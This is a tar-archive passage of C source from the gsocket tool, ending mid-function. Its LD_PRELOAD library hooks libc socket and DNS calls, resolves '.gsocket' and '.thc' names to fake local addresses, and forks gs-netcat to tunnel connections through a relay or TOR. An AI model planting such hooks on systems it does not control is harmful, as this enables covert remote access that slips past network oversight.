gsocket-1.4.33/tools/gsocket_dso-lib.h 0000664 0000000 0000000 00000001073 14072625040 0017623 0 ustar 00root root 0000000 0000000
#ifndef __GS_SO_UTILS_H__
#define __GS_SO_UTILS_H__ 1
#define GS_AUTHCOOKIE_LEN (SHA256_DIGEST_LENGTH) // 32
struct _gs_portrange
{
uint16_t low;
uint16_t high;
};
struct _gs_portrange_list
{
int n_entries;
int n_max;
struct _gs_portrange *list;
};
void authcookie_gen(uint8_t *cookie, const char *secret, uint16_t port);
int GS_portrange_new(struct _gs_portrange_list *l, const char *range_orig);
int GS_portrange_is_match(struct _gs_portrange_list *l, uint16_t port);
void GS_portrange_free(struct _gs_portrange_list *l);
#endif /* !__GS_SO_UTILS_H__ */ gsocket-1.4.33/tools/gsocket_dso.c 0000664 0000000 0000000 00000067734 14072625040 0017072 0 ustar 00root root 0000000 0000000
// TODO:
// - Support IPv6
// - Suppport UDP
#define _GNU_SOURCE
#include "common.h"
#include
#include
#include
#include
#ifdef __CYGWIN__
# include
# include
#endif
#include "gsocket_dso-lib.h"
#define GS_WITH_AUTHCOOKIE 1
// Infos for tracking FDs
struct _fd_info
{
struct sockaddr_in addr;
int is_bind;
int is_connect;
int is_listen;
int is_tor;
int is_hijack;
sa_family_t sa_family;
uint16_t port_orig; // Fixme, this is confusing with gs_so_mgr. duplicate?
uint16_t port_fake;
};
// GS_SO Manager
enum gs_so_mgr_type_t {
GS_SO_MGR_TYPE_LISTEN,
GS_SO_MGR_TYPE_CONNECT
};
struct _gs_so_mgr
{
pid_t pid;
char *secret;
uint16_t port_orig;
uint16_t port_fake;
int ipc_fd;
int is_used;
int is_tor;
enum gs_so_mgr_type_t gs_type;
};
#ifdef __CYGWIN__
# define RTLD_NEXT dl_handle
static void *dl_handle;
static void
thc_init_cyg(void)
{
dl_handle = dlopen("cygwin1.dll", RTLD_LAZY);
}
#else /* !__CYGWIN__ */
static void thc_init_cyg(void) {} // Do nothing.
#endif
// HOOK definitions
// Note: Set errno=0 before libcall => Some programs (e.g. netcat) ignore
// return value of listen() and just check if errno has changed.
// Our .so may have changed errno...
typedef int (*real_bind_t)(int sox, const struct sockaddr *addr, socklen_t addr_len);
static int real_bind(int sox, const struct sockaddr *addr, socklen_t addr_len) { errno=0; return ((real_bind_t)dlsym(RTLD_NEXT, "bind"))(sox, addr, addr_len); }
typedef int (*real_listen_t)(int sox, int backlog);
static int real_listen(int sox, int backlog) { errno=0; return ((real_listen_t)dlsym(RTLD_NEXT, "listen"))(sox, backlog); }
typedef int (*real_connect_t)(int sox, const struct sockaddr *addr, socklen_t addr_len);
static int real_connect(int sox, const struct sockaddr *addr, socklen_t addr_len) { errno=0; return ((real_connect_t)dlsym(RTLD_NEXT, "connect"))(sox, addr, addr_len); }
#if defined(HAVE_CONNECTX)
typedef int (*real_connectx_t)(int sox, const sa_endpoints_t *ep, sae_associd_t aid, unsigned int flags, const struct iovec *iov, unsigned int iovcnt, size_t *len, sae_connid_t *cid);
static int real_connectx(int sox, const sa_endpoints_t *ep, sae_associd_t aid, unsigned int flags, const struct iovec *iov, unsigned int iovcnt, size_t *len, sae_connid_t *cid) { errno=0; return ((real_connectx_t)dlsym(RTLD_NEXT, "connectx"))(sox, ep, aid, flags, iov, iovcnt, len, cid); }
#endif
#if defined(HAVE_ACCEPT4)
typedef int (*real_accept4_t)(int sox, const struct sockaddr *addr, socklen_t *addr_len, int flags);
static int real_accept4(int sox, const struct sockaddr *addr, socklen_t *addr_len, int flags) { errno=0; return ((real_accept4_t)dlsym(RTLD_NEXT, "accept4"))(sox, addr, addr_len, flags); }
#else
// Solaris10 & OSX do not have accept4()
typedef int (*real_accept_t)(int sox, const struct sockaddr *addr, socklen_t *addr_len);
static int real_accept4(int sox, const struct sockaddr *addr, socklen_t *addr_len, int flags) { errno=0; return ((real_accept_t)dlsym(RTLD_NEXT, "accept"))(sox, addr, addr_len); }
#endif
typedef struct hostent *(*real_gethostbyname_t)(const char *name);
static struct hostent *real_gethostbyname(const char *name) { errno=0; return ((real_gethostbyname_t)dlsym(RTLD_NEXT, "gethostbyname"))(name); }
typedef int (*real_getaddrinfo_t)(const char *node, const char *service, const struct addrinfo *hints, struct addrinfo **res);
static int real_getaddrinfo(const char *node, const char *service, const struct addrinfo *hints, struct addrinfo **res) { errno=0; return ((real_getaddrinfo_t)dlsym(RTLD_NEXT, "getaddrinfo"))(node, service, hints, res); }
// FUNCTION definitions
static struct _gs_so_mgr *gs_so_listen(const char *secret, uint16_t port_orig, uint16_t *port_fake, int is_tor);
static struct _gs_so_mgr *gs_so_connect(const char *secret, uint16_t port_orig, uint16_t *port_fake, int is_tor);
static struct _gs_so_mgr *gs_mgr_lookup(const char *secret, uint16_t port_orig, enum gs_so_mgr_type_t gs_type, int is_tor);
static struct _gs_so_mgr *gs_mgr_new_by_ipc(int ipc_fd, uint16_t port_orig, enum gs_so_mgr_type_t gs_type, int is_tor);
static struct _gs_so_mgr *gs_mgr_new(const char *secret, uint16_t port_orig, uint16_t *port_fake, enum gs_so_mgr_type_t gs_type, int is_tor);
static void gs_mgr_free(struct _gs_so_mgr *m);
// STATIC variables
static int is_init;
static struct _fd_info *fd_list;
static int g_fd_max;
static struct _gs_so_mgr mgr_list[MAX(1024, FD_SETSIZE)];
static char *g_secret; // global secret
static struct _gs_portrange_list hijack_ports;
static int is_debug;
static void
thc_init(const char *fname)
{
if (is_init)
return;
is_init = 1;
thc_init_cyg();
#ifdef DEBUG
if (getenv("GS_DEBUG"))
{
is_debug = 1;
char *ptr = getenv("GS_LOGFILE");
if (ptr)
gopt.err_fp = fopen(ptr, "w");
if (gopt.err_fp == NULL)
gopt.err_fp = stderr;
}
DEBUGF("%s called from %s()\n", __func__, fname);
#endif
// struct sigaction sa;
// memset(&sa, 0, sizeof sa);
// sa.sa_sigaction = &cb_sigchld;
// sa.sa_flags = SA_SIGINFO | SA_RESTART | SA_NOCLDWAIT;
// sigaction(SIGCHLD, &sa, NULL);
// Disable LD_PRELOAD so that any further exec*() is not hijacked again.
// (e.g. when starting gs-netcat or when ssh starts a /bin/bash...)
unsetenv("LD_PRELOAD");
unsetenv("DYLD_INSERT_LIBRARIES");
unsetenv("DYLD_FORCE_FLAT_NAMESPACE");
char *ptr = getenv("GS_HIJACK_PORTS");
GS_portrange_new(&hijack_ports, ptr?ptr:"1-65535");
g_secret = getenv("GSOCKET_SECRET");
}
static struct _fd_info *
fdi_get(int fd)
{
if (is_init == 0)
return NULL; // OSX: See OSX-BUG-MALLOC1
if (fd_list == NULL)
{
g_fd_max = MAX(FD_SETSIZE, getdtablesize());
fd_list = calloc(g_fd_max, sizeof (struct _fd_info));
if (fd_list == NULL)
return NULL;
}
if (fd < 0)
return NULL;
if (fd >= g_fd_max)
return NULL;
return &fd_list[fd];
}
typedef int (*real_close_t)(int fd);
static int real_close(int fd) { return ((real_close_t)dlsym(RTLD_NEXT, "close"))(fd); }
static int
thc_close(const char *fname, int fd)
{
// OSX-BUG-MALLOC1
// thc_init(fname); // OSX: segfault. strdup() and unsetenv() seem to segfault.
// OSX seems to call close() before libc has fully initialized the malloc-subsystem
// and segfaults on malloc...which is used by thc_init in strdup() and unsetenv()...
DEBUGF_Y("close(%d)\n", fd);
struct _fd_info *fdi = fdi_get(fd);
if (fdi != NULL)
memset(fdi, 0, sizeof *fdi);
return real_close(fd);
}
// Return 0 if this should be hijacked
static int
hijack_conn(int *is_tor, struct sockaddr_in *addr)
{
// GSOCKET_NOHIJACK is set...call original function immediately.
if (addr->sin_addr.s_addr == inet_addr("127.31.33.7"))
return 0;
if (addr->sin_addr.s_addr == inet_addr("127.31.33.8"))
{
*is_tor = 1;
return 0;
}
return -1; // Call original
}
static int
redir_conn(int sox, struct sockaddr_in *a, struct _fd_info *fdi)
{
int rv;
if (fdi->port_fake == 0)
{
// could not start gs-netcat port forwarding sub-process
errno = ECONNREFUSED;
return -1;
}
DEBUGF("Connecting to 127.0.0.1:%u instead (sox=%d)\n", fdi->port_fake, sox);
a->sin_port = htons(fdi->port_fake);
a->sin_addr.s_addr = inet_addr("127.0.0.1");
// Must force to BLOCKING so that sox becomes available and we can send our auth-cookie.
// We can not intercept write() and to the auth-cookie there because the caller
// may never call 'write()' and might be receiving only.
int flags = fcntl(sox, F_GETFL, 0);
if (flags & O_NONBLOCK)
{
DEBUGF_B("Setting sox=%d to BLOCKING\n", sox);
fcntl(sox, F_SETFL, ~O_NONBLOCK & flags);
}
rv = real_connect(sox, (struct sockaddr *)a, sizeof *a);
if (rv != 0)
{
DEBUGF("%s\n", strerror(errno));
if (flags & O_NONBLOCK)
fcntl(sox, F_SETFL, O_NONBLOCK | flags);
return rv;
}
fdi->is_connect = 1;
#ifdef GS_WITH_AUTHCOOKIE
uint8_t cookie[GS_AUTHCOOKIE_LEN];
authcookie_gen(cookie, g_secret, fdi->port_orig);
rv = write(sox, cookie, sizeof cookie);
#endif
if (flags & O_NONBLOCK)
{
DEBUGF_B("Setting sox=%d to NONBLOCKING\n", sox);
fcntl(sox, F_SETFL, O_NONBLOCK | flags);
}
return 0;
}
#if defined(HAVE_CONNECTX)
// OSX has a fancy connectx() function
static int
thc_connectx(const char *fname, int sox, const sa_endpoints_t *ep, sae_associd_t aid, unsigned int flags, const struct iovec *iov, unsigned int iovcnt, size_t *len, sae_connid_t *cid)
{
int rv;
struct _fd_info *fdi;
struct sockaddr *addr;
thc_init(fname);
addr = (struct sockaddr *)ep->sae_dstaddr;
if ((sox < 0) || (addr == NULL) || (addr->sa_family != AF_INET))
return real_connectx(sox, ep, aid, flags, iov, iovcnt, len, cid);
struct sockaddr_in *a = (struct sockaddr_in *)ep->sae_dstaddr;
DEBUGF("connect(%s:%d)\n", int_ntoa(a->sin_addr.s_addr), ntohs(a->sin_port));
fdi = fdi_get(sox);
if (fdi == NULL)
return real_connectx(sox, ep, aid, flags, iov, iovcnt, len, cid);
rv = hijack_conn(&fdi->is_tor, (struct sockaddr_in *)addr);
if (rv != 0)
return real_connectx(sox, ep, aid, flags, iov, iovcnt, len, cid);
a = &fdi->addr;
memcpy(a, ep->sae_dstaddr, sizeof *a);
fdi->port_orig = ntohs(((struct sockaddr_in *)ep->sae_dstaddr)->sin_port);
if (fdi->is_connect)
{
rv = real_connect(sox, addr, sizeof *a);
if (rv != 0)
return rv;
}
gs_so_connect(g_secret, fdi->port_orig, &fdi->port_fake, fdi->is_tor);
return redir_conn(sox, a, fdi);
}
#endif
static int
thc_connect(const char *fname, int sox, const struct sockaddr *addr, socklen_t addr_len)
{
int rv;
struct _fd_info *fdi;
thc_init(fname);
// DEBUGF("-> %s (nohijack=%d, sox=%d, af-family=%d)\n", fname, is_nohijack, sox, addr->sa_family);
if ((sox < 0) || (addr == NULL) || (addr->sa_family != AF_INET))
return real_connect(sox, addr, addr_len); // Let glibc deal with crap
struct sockaddr_in *a = (struct sockaddr_in *)addr;
DEBUGF("connect(%s:%d)\n", int_ntoa(a->sin_addr.s_addr), ntohs(a->sin_port));
fdi = fdi_get(sox);
if (fdi == NULL)
return real_connect(sox, addr, addr_len);
// Check if bind() was called before connect().
// bind() was prepared for 'listen' and bind() to a random port number.
// For 'connect()' we do not want this. Undo.
if (fdi->is_bind)
{
DEBUGF("Who calls connect() after bind?\n"); // FIXME: can we bind() again with new ip?
real_bind(sox, (struct sockaddr *)&fdi->addr, sizeof fdi->addr);
fdi->is_bind = 0;
}
rv = hijack_conn(&fdi->is_tor, (struct sockaddr_in *)addr);
if (rv != 0)
return real_connect(sox, addr, addr_len);
a = &fdi->addr;
memcpy(a, addr, sizeof *a);
fdi->port_orig = ntohs(((struct sockaddr_in *)addr)->sin_port);
if (fdi->is_connect)
{
// Non-Blocking socket might call connect() until it's connected.
DEBUGF_W("DOUBLE call to connect()?\n");
rv = real_connect(sox, (struct sockaddr *)a, sizeof *a);
if (rv != 0)
return rv;
}
gs_so_connect(g_secret, fdi->port_orig, &fdi->port_fake, fdi->is_tor);
return redir_conn(sox, a, fdi);
}
// Note: bind() might be called before connect() and this case needs to be considered.
static int
thc_bind(const char *fname, int sox, const struct sockaddr *addr, socklen_t addr_len)
{
struct sockaddr_in *a;
struct sockaddr_in6 *a6;
int rv;
struct _fd_info *fdi;
thc_init(fname);
DEBUGF_W("BIND called (sox=%d, addr=%p, family=%d (%s))\n", sox, addr, addr->sa_family, addr->sa_family==AF_INET?"IPv4":"IPv6");
if ((sox < 0) || (addr == NULL))
return real_bind(sox, addr, addr_len);
fdi = fdi_get(sox);
if ((fdi == NULL) || (fdi->is_bind) || !( (addr->sa_family == AF_INET) || (addr->sa_family == AF_INET6)) )
{
DEBUGF("is_bind=%d, family=%d\n", fdi->is_bind, addr->sa_family);
return real_bind(sox, addr, addr_len);
}
int is_call_hijack = 0;
a = (struct sockaddr_in *)addr;
a6 = (struct sockaddr_in6 *)addr;
if (addr->sa_family == AF_INET)
{
if (a->sin_addr.s_addr == inet_addr("127.31.33.8"))
fdi->is_tor = 1;
}
if (GS_portrange_is_match(&hijack_ports, ntohs(a->sin_port)))
is_call_hijack = 1;
if (is_call_hijack == 0)
return real_bind(sox, (struct sockaddr *)addr, addr_len);
// Backup original address in case this bind() is followed by connect() and not listen().
memcpy(&fdi->addr, addr, sizeof fdi->addr);
fdi->port_orig = ntohs(a->sin_port);
if (addr->sa_family == AF_INET6)
{
// a6->sin6_addr = in6addr_any;
#ifndef IS_SOLARIS
// NOT Solaris. Solaris creates an IPv4 _and_ IPv6 listening socket
// when AF_INET6 is set and addr==in6addr_any. Thus on SOLARIS we keep it
// on in6addr_any and not to localhost. FIXME: Can remove once gs-netcat
// supports IPv6.
inet_pton(AF_INET6, "::1", (void *)&a6->sin6_addr);
#endif
a6->sin6_port = 0;
} else {
a->sin_addr.s_addr = inet_addr("127.0.0.1");
a->sin_port = 0; // Pick any port at random to listen on.
}
rv = real_bind(sox, (struct sockaddr *)addr, addr_len);
if (rv != 0)
{
DEBUGF_R("bind(): %s\n", strerror(errno));
return rv;
}
// Retrieve (random) local port we bind() to.
socklen_t plen;
uint16_t port;
if (addr->sa_family == AF_INET)
{
struct sockaddr_in paddr;
plen = sizeof paddr;
rv = getsockname(sox, (struct sockaddr *)&paddr, &plen);
port = ntohs(paddr.sin_port);
} else {
struct sockaddr_in6 paddr6;
plen = sizeof paddr6;
rv = getsockname(sox, (struct sockaddr *)&paddr6, &plen);
port = ntohs(paddr6.sin6_port);
}
fdi->port_fake = port;
fdi->is_bind = 1;
fdi->is_hijack = 1;
fdi->sa_family = addr->sa_family;
DEBUGF_G("Bind to port=%u (orig=%u, rv=%d)\n", fdi->port_fake, fdi->port_orig, rv);
return 0;
}
static int
thc_listen(const char *fname, int sox, int backlog)
{
struct _fd_info *fdi;
thc_init(fname);
DEBUGF_W("LISTEN called (sox=%d)\n", sox);
if (sox < 0)
return real_listen(sox, backlog); // good luck! let glibc handle crap.
fdi = fdi_get(sox);
if ((fdi == NULL) || (fdi->is_listen) || (fdi->is_hijack == 0))
return real_listen(sox, backlog);
#ifndef IS_SOLARIS
// Anyone (but solaris) returns here.
// Solaris uses AF_INET6 to listen to IPv4 _and_ IPv6 port with
// single syscall.
if (fdi->sa_family == AF_INET6)
return real_listen(sox, backlog);
#endif
// HERE: IPv6 or IPv4
fdi->is_listen = 1;
// Send Secret and listening port to manager
gs_so_listen(g_secret, fdi->port_orig, &fdi->port_fake, fdi->is_tor);
int ret;
ret = real_listen(sox, backlog);
DEBUGF("listen(%d)=%d, %s\n", sox, ret, strerror(errno));
return ret;
}
static int
thc_accept4(const char *fname, int ls, const struct sockaddr *addr, socklen_t *addr_len, int flags)
{
int sox;
errno = 0;
thc_init(fname);
DEBUGF_W("%s called (ls=%d)\n", fname, ls);
if (ls < 0)
return real_accept4(ls, addr, addr_len, flags);
// IPv4 or IPv6
sox = real_accept4(ls, addr, addr_len, flags);
DEBUGF("%s()=%d (new socket)\n", fname, sox);
if (sox < 0)
return sox;
#ifdef GS_WITH_AUTHCOOKIE
struct _fd_info *fdi;
fdi = fdi_get(ls);
if (fdi == NULL)
return sox;
int rv;
uint8_t cookie[GS_AUTHCOOKIE_LEN];
uint8_t ac_buf[GS_AUTHCOOKIE_LEN];
int fl = fcntl(sox, F_GETFL, 0);
if (fl & O_NONBLOCK)
fcntl(sox, F_SETFL, ~O_NONBLOCK & fl);
rv = read(sox, ac_buf, sizeof ac_buf);
if (rv != sizeof ac_buf)
{
DEBUGF("read(%d)=%d\n", sox, rv);
real_close(sox);
return -1;
}
if (fl & O_NONBLOCK)
fcntl(sox, F_SETFL, O_NONBLOCK | fl);
authcookie_gen(cookie, g_secret, fdi->port_orig);
if (memcmp(cookie, ac_buf, sizeof cookie) != 0)
{
DEBUGF_R("AUTH-COOKIE MISMATCH\n");
HEXDUMP(cookie, sizeof cookie);
HEXDUMP(ac_buf, sizeof cookie);
real_close(sox);
return -1;
}
DEBUGF_Y("auth-cookie matches\n");
#endif
return sox;
}
// static int
// thc_accept(const char *fname, int ls, const struct sockaddr *addr, socklen_t *addr_len)
// {
// return thc_accept4(fname, ls, addr, addr_len, 0);
// }
static struct hostent he;
static uint32_t thc_ip;
static uint32_t *ipl[] = {0, NULL};
char *thc_hostname;
static struct hostent *
gethostbyname_fake(const char *name, size_t len, uint32_t ip)
{
memset(&he, 0, sizeof he);
thc_hostname = realloc(thc_hostname, len + 1);
memcpy(thc_hostname, name, len + 1);
he.h_name = thc_hostname;
he.h_addrtype = AF_INET;
he.h_length = 4;
thc_ip = ip;
ipl[0] = &thc_ip;
he.h_addr_list = (char **)&ipl;
return &he;
}
#define GS_SO_ROT_DOMAIN "gsocket" // when not to go through TOR (server.foobar.gsocket)
#define GS_SO_TOR_DOMAIN "thc" // Use TOR if domains is like (server.foobar.thc)
// Return 0 on NONE hijack. Return 1 on .gsocket. Return 2 on .thc
static int
gs_type_hijack_domain(const char *name, size_t len)
{
if ((len >= strlen(GS_SO_TOR_DOMAIN)) && (memcmp(name + len - strlen(GS_SO_TOR_DOMAIN), GS_SO_TOR_DOMAIN, strlen(GS_SO_TOR_DOMAIN)) == 0))
return 2;
if ((len >= strlen(GS_SO_ROT_DOMAIN)) && (memcmp(name + len - strlen(GS_SO_ROT_DOMAIN), GS_SO_ROT_DOMAIN, strlen(GS_SO_ROT_DOMAIN)) == 0))
return 1;
return 0;
}
struct hostent *
thc_gethostbyname(const char *fname, const char *name)
{
thc_init(fname);
DEBUGF_W("GETHOSTBYNAME called\n");
if (name == NULL)
return NULL;
size_t len = strlen(name);
switch (gs_type_hijack_domain(name, len))
{
case 1:
return gethostbyname_fake(name, len, inet_addr("127.31.33.7"));
case 2:
return gethostbyname_fake(name, len, inet_addr("127.31.33.8"));
}
return real_gethostbyname(name);
}
int
thc_getaddrinfo(const char *fname, const char *node, const char *service, const struct addrinfo *hints, struct addrinfo **res)
{
thc_init(fname);
if (node == NULL)
return real_getaddrinfo(node, service, hints, res);
DEBUGF_W("GETADDRINFO called (%s:%s)\n", node?node:"", service?service:"");
switch (gs_type_hijack_domain(node, strlen(node)))
{
case 0:
return real_getaddrinfo(node, service, hints, res);
case 1:
return real_getaddrinfo("127.31.33.7", service, hints, res);
case 2:
return real_getaddrinfo("127.31.33.8", service, hints, res);
}
return -1;
}
// GS_SO Manager
static struct _gs_so_mgr *
gs_mgr_lookup(const char *secret, uint16_t port_orig, enum gs_so_mgr_type_t gs_type, int is_tor)
{
int i;
struct _gs_so_mgr *m;
for (i = 0; i < sizeof mgr_list / sizeof *mgr_list; i++)
{
m = &mgr_list[i];
if (m->gs_type != gs_type)
continue;
if (m->port_orig != port_orig)
continue;
if (m->secret == NULL)
continue;
if (m->is_tor != is_tor)
continue;
if (strcmp(secret, m->secret) != 0)
continue;
}
if (i >= sizeof mgr_list / sizeof *mgr_list)
{
DEBUGF("MGR not found (secret=%s, port_orig=%u, gs_type=%d, is_tor=%d)\n", secret, port_orig, gs_type, is_tor);
return NULL; // not found.
}
DEBUGF("MGR found with IPC_ID=%d\n", m->ipc_fd);
// FOUND but check if this one is still alive:
char c;
int rv;
rv = read(m->ipc_fd, &c, sizeof c);
if (rv == sizeof c)
return m; // SHOULD NOT HAPPEN. Child never sends us data via stdin
if ((rv < 0) && (errno == EWOULDBLOCK))
return m; // still alive
DEBUGF("MGR dead (pid=%d)? %s\n", m->pid, strerror(errno));
int wstatus;
waitpid(m->pid, &wstatus, WNOHANG); // No defunct/zombie children
gs_mgr_free(m);
return NULL; // DIED. Will create new MGR
}
// Allocate an Manager/IPC structure
static struct _gs_so_mgr *
gs_mgr_new_by_ipc(int ipc_fd, uint16_t port_orig, enum gs_so_mgr_type_t gs_type, int is_tor)
{
if (mgr_list[ipc_fd].is_used)
{
DEBUGF("ERROR: IPC already assigned (%d)\n", ipc_fd);
return NULL;
}
mgr_list[ipc_fd].ipc_fd = ipc_fd;
mgr_list[ipc_fd].is_used = 1;
mgr_list[ipc_fd].is_tor = is_tor;
mgr_list[ipc_fd].port_orig = port_orig;
return &mgr_list[ipc_fd];
}
// close all but 1 fd
static void
close_all_fd(int fd)
{
int i;
for (i = 2; i < MIN(getdtablesize(), FD_SETSIZE); i++)
{
// Leave STDERR open when debugging
#ifdef DEBUG
if (i == STDERR_FILENO)
{
DEBUGF_B("NOT closing %d\n", STDERR_FILENO);
continue;
}
#endif
if (i == fd)
continue;
real_close(i);
}
}
// Close FD and clear memory
static void
gs_mgr_free(struct _gs_so_mgr *m)
{
if (m->ipc_fd >= 0)
real_close(m->ipc_fd);
memset(m, 0, sizeof *m);
m->ipc_fd = -1;
}
// Open an IPC connection to the Manager
static struct _gs_so_mgr *
gs_mgr_new(const char *secret, uint16_t port_orig, uint16_t *port_fake, enum gs_so_mgr_type_t gs_type, int is_tor)
{
int fds[2];
// This socketpair ensures that the client can detect if the parent
// exits. Creates fds = [4, 5].
socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
DEBUGF("fds[%d, %d]\n", fds[0], fds[1]);
// OpenSSH calls dup2(10, 5 [REEXEC_STARTUP_PIPE_FD]) in sshd.c for rexec.
// That dup2() call will first close fd==5. However, that might be our fd from the socketpair!
// REEXEC_STARTUP_PIPE_FD is defined as STDOUT + 3 and OpenSSH does not give a damn if that socket
// is already used or not. It blindly calls dup2(, 5). Instead we do a hack to use
// a high socket number for our IPC comm.
// FIXME: OpenSSH run in debug mode (-d) calls execve() on itself. The OpenSSL/selinux subsystem
// then closes all 'not needed' open fd's including our fd. We would need to intercept
// execve() to add LD_PRELOAD again and then track close() not to close our IPC fd.
int free_fd;
for (free_fd = MIN(getdtablesize(), FD_SETSIZE) - 1; free_fd >= 0; free_fd--)
{
if (fcntl(free_fd, F_GETFD, 0) != 0)
break;
}
dup2(fds[1], free_fd);
real_close(fds[1]);
fds[1] = free_fd;
struct _gs_so_mgr *m;
m = gs_mgr_new_by_ipc(fds[1], port_orig, gs_type, is_tor);
if (m == NULL)
return NULL;
DEBUGF_C("IS_TOR=%d, port_fake=%d, [%d, %d]\n", is_tor, *port_fake, fds[0], fds[1]);
// FIXME: For now we spawn a gs-netcat for each port number & type
// Later we may unify this into a single new 'gsd' daemon
pid_t pid;
pid = fork();
if (pid < 0)
return NULL;
if (pid == 0)
{
// CHILD
close_all_fd(fds[0]);
// STDOUT: gs-netcat allocates a random port number and outputs that port number (16 bit) to stdout.
// The parent process will read it from ipc_fd to then redirect that connect() call to that
// port number.
dup2(fds[0], STDOUT_FILENO);
// STDIN: gs-netcat monitors stdin to check if parent dies.
dup2(fds[0], STDIN_FILENO);
char *env_args = getenv("GSOCKET_ARGS");
char buf[1024];
char prg[256];
char *quiet_str = is_debug?"":"-q ";
if (gs_type == GS_SO_MGR_TYPE_LISTEN)
{
// The Caller wants to listen(). We redirect to listen on any random free port (fake_port)
// and instruct gs-netcat to forward TCP to that port.
#ifdef GS_WITH_AUTHCOOKIE
setenv("_GSOCKET_SEND_AUTHCOOKIE", "1", 1);
#endif
unsetenv("_GSOCKET_WANT_AUTHCOOKIE");
// Note: Must start with -q: We close(stderr) and gs-netcat
// will SIGPIPE (on OSX) when trying to write stats to stderr.
snprintf(buf, sizeof buf, "%s %s-s%u-%s %s-W -l -d127.0.0.1 -p%u", env_args?env_args:"", is_tor?"-T ":"", port_orig, secret, quiet_str, *port_fake);
snprintf(prg, sizeof prg, "gs-netcat [S-%u]", port_orig);
}
if (gs_type == GS_SO_MGR_TYPE_CONNECT)
{
// The Caller wants to connect(). We redirect to connect to local listening
// gs-netcat port forward. gs-netcat randomly allocates a fake listening port and
// returns it to us via stdout/stdin (IPC).
#ifdef GS_WITH_AUTHCOOKIE
setenv("_GSOCKET_WANT_AUTHCOOKIE", "1", 1);
#endif
unsetenv("_GSOCKET_SEND_AUTHCOOKIE");
snprintf(buf, sizeof buf, "%s %s-s%u-%s %s-p0", env_args?env_args:"", is_tor?"-T ":"", port_orig, secret, quiet_str);
snprintf(prg, sizeof prg, "gs-netcat [C-%u]", port_orig);
}
setenv("GSOCKET_ARGS", buf, 1);
// unsetenv("LD_PRELOAD");
setenv("_GSOCKET_INTERNAL", "1", 1);
setenv("GSOCKET_NO_GREETINGS", "1", 1);
char *bin = getenv("GS_NETCAT_BIN");
if (bin == NULL)
bin = "gs-netcat";
DEBUGF("ARGS='%s' bin=%s prg=%s\n", buf, bin, prg);
execlp(bin, prg, NULL); // Try local dir first
DEBUGF("FAILED\n");
sleep(1); // Good to sleep to prevent rapit auto-restart
exit(EX_EXECFAILED); // NOT REACHED
}
// PARENT
real_close(fds[0]);
m->ipc_fd = fds[1];
DEBUGF_W("IPC_FD=%d\n", fds[1]);
if (gs_type == GS_SO_MGR_TYPE_CONNECT)
{
int rv;
rv = read(m->ipc_fd, port_fake, sizeof *port_fake);
if (rv != sizeof *port_fake)
{
*port_fake = 0;
DEBUGF_R("read(%d)=%d: %s\n", fds[1], rv, strerror(errno));
gs_mgr_free(m);
return NULL;
}
DEBUGF("Received port %u\n", *port_fake);
m->port_fake = *port_fake;
}
// Set Parent's IPC FD to non-blocking so that we can read() and check
// if child is still alive...
fcntl(m->ipc_fd, F_SETFL, O_NONBLOCK | fcntl(m->ipc_fd, F_GETFL, 0));
return m;
}
static struct _gs_so_mgr *
gs_mgr_connect(const char *secret, uint16_t port_orig, uint16_t *port_fake, enum gs_so_mgr_type_t gs_type, int is_tor)
{
struct _gs_so_mgr *m;
m = gs_mgr_lookup(secret, port_orig, gs_type, is_tor);
if (m != NULL)
return m;
return gs_mgr_new(secret, port_orig, port_fake, gs_type, is_tor);
}
// Send a message to the Manager for a listening port.
// This function is called by the hijacked listen() to request a new GS-Listen()
// forward from the daemon.
static struct _gs_so_mgr *
gs_so_listen(const char *secret, uint16_t port_orig, uint16_t *port_fake, int is_tor)
{
// Contact the GS-MGR and send him our port and secret (via local socket controller by this user! not tcp)
// or use IPC / socketpair (FIXME: implement this!)
return gs_mgr_connect(secret, port_orig, port_fake, GS_SO_MGR_TYPE_LISTEN, is_tor);
// Nothing to send or do at we are (currently, as a hack) using
// gs-netcat (a new gs-netcat process for every [port_orig, type] combination
}
static struct _gs_so_mgr *
gs_so_connect(const char *secret, uint16_t port_orig, uint16_t *port_fake, int is_tor)
{
return gs_mgr_connect(secret, port_orig, port_fake, GS_SO_MGR_TYPE_CONNECT, is_tor);
}
// HOOKS
#ifndef __CYGWIN__
int connect(int socket, const struct sockaddr *addr, socklen_t addr_len) {return thc_connect(__func__, socket, addr, addr_len); }
#if defined(HAVE_CONNECTX)
int connectx(int socket, const sa_endpoints_t *endpoints, sae_associd_t associd, unsigned int flags, const struct iovec *iov, unsigned int iovcnt, size_t *len, sae_connid_t *connid) {return thc_connectx(__func__, socket, endpoints, associd, flags, iov, iovcnt, len, connid); }
#endif
int close(int fd) { return thc_close(__func__, fd); }
int bind(int socket, const struct sockaddr *addr, socklen_t addr_len) {return thc_bind(__func__, socket, addr, addr_len); }
int listen(int socket, int backlog) {return thc_listen(__func__, socket, backlog); }
#if !defined(IS_SOL10)
int accept(int socket, struct sockaddr *addr, socklen_t *addr_len) {return thc_accept4(__func__, socket, addr, addr_len, 0); }
#else
int accept(int socket, struct sockaddr *addr, Psocklen_t addr_len) {return thc_accept4(__func__, socket, addr, addr_len, 0); }
#endif
int accept4(int socket, struct sockaddr *addr, socklen_t *addr_len, int flags) {return thc_accept4(__func__, socket, addr, addr_len, flags); }
struct hostent *gethostbyname(const char *name) {return thc_gethostbyname(__func__, name); }
int getaddrinfo(const char *node, const char *service, const struct addrinfo *hints, struct addrinfo **res) {return thc_getaddrinfo(__func__, node, service, hints, res); }
#endif
#ifdef __CYGWIN__
static int fci_connect(int socket, const struct sockaddr *addr, socklen_t addr_len) {return thc_connect("connect", socket, addr, addr_len); }
static int fci_close(int fd) {return thc_close("close", fd); }
static int fci_bind(int fd, const struct sockaddr *addr, socklen_t addr_len) {return thc_bind("bind", fd, addr, addr_len); }
static int fci_listen(int socket, int backlog) {return thc_listen("listen", socket, backlog); }
static int fci_accept(int fd, const struct sockaddr *addr, socklen_t *addr_len) {return thc_accept4("accept", fd, addr, addr_len, 0); }
static int fci_accept4(int fd, const struct sockaddr *addr, socklen_t *addr_len, int flags) {return thc_accept4("accept4", fd, addr, addr_len, flags); }
static struct hostent *fci_gethostbyname(const char *name) {return thc_gethostbyname("gethostbyname", name); }
static int fci_getaddrinfo(const char *node, const char *service, const struct addrinfo *hints, struct addrinfo **res) {return thc_getaddrinfo("getaddrinfo", node, service, hints, res); }
__attribute__((constructor))
int
fci_init(void)
{
cygwin_internal(CW_HOOK, "connect", fci_connect);
cygwin_internal(CW_HOOK, "close", fci_close);
cygwin_internal(CW_HOOK, "bind", fci_bind);
cygwin_internal(CW_HOOK, "listen", fci_listen);
